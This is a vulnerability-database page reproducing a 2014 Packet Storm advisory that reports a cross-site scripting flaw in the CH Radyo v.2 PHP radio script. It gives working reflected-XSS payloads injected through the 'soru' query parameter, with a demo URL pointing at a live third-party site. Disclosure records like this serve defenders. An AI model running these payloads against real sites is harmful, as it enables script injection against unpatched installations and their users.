Lucene search
K

CH Radyo 2 Cross Site Scripting

🗓️ 04 May 2014 00:00:00Reported by kurdish hackers teamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

CH Radyo v.2 php script Cross Site Scripting Vulnerability. Found by Kurdish hackers team. Demo at radyo1.indircen.com

Code
`=====================================================  
CH Radyo v.2 php script Cross Site Scripting Vulnerability  
-----------------------------------------------------------  
foun by :kurdish hackers team  
group : kurd-team  
contact : [email protected]  
site : kurdteam.org  
-----------------------------------------------------------  
------------------------script-----------------------------  
-----------------------------------------------------------  
prich :59 TL (turkish mony)  
prich  
from:http://www.scripti.org/script_ch-radyo-scripti_3292_27.html  
demo script :http://radyo1.indircen.com  
(tested by Maxthon Cloud Browser , firefox)  
  
-----------------------------------------------------------  
Exploit:  
-------  
site.com/path/index.html?soru="><script>alert('explo3ter')</script>  
site.com/path/mplayer/index.html?soru="><script>alert('explo3ter')</script>  
-------  
demo :  
http://radyo1.indircen.com/mplayer/index.html?soru="><script>alert('explo3ter')</script>  
-----------------------------------------------------------  
Zryan_kurd ,hamw andamani p4kurd.com  
-----------------------------------------------------------`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation